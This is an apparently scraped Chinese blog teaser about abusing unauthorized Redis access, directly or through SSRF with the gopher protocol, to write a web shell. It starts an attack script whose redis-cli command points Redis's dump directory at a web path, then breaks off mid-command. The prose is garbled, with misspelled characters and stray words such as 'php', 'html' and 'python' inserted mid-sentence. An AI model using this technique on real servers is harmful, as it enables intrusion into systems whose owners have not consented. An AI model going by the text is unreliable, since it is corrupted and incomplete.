redis利用gopher协议写shell

前言 现在redis未受权访问并很多见，而若是redis可在外网访问，那么利用方式就比较简单了，若是redis不能在外网访问，但站点存在ssrf漏洞，则redis未受权漏洞依旧能够利用。php 利用 外网可访问html 先说外网可访问的状况。咱们直接编写脚本attack.shpython redis-cli -h $1 -p $2 config set dir /the/web/path redi

>>阅读原文<<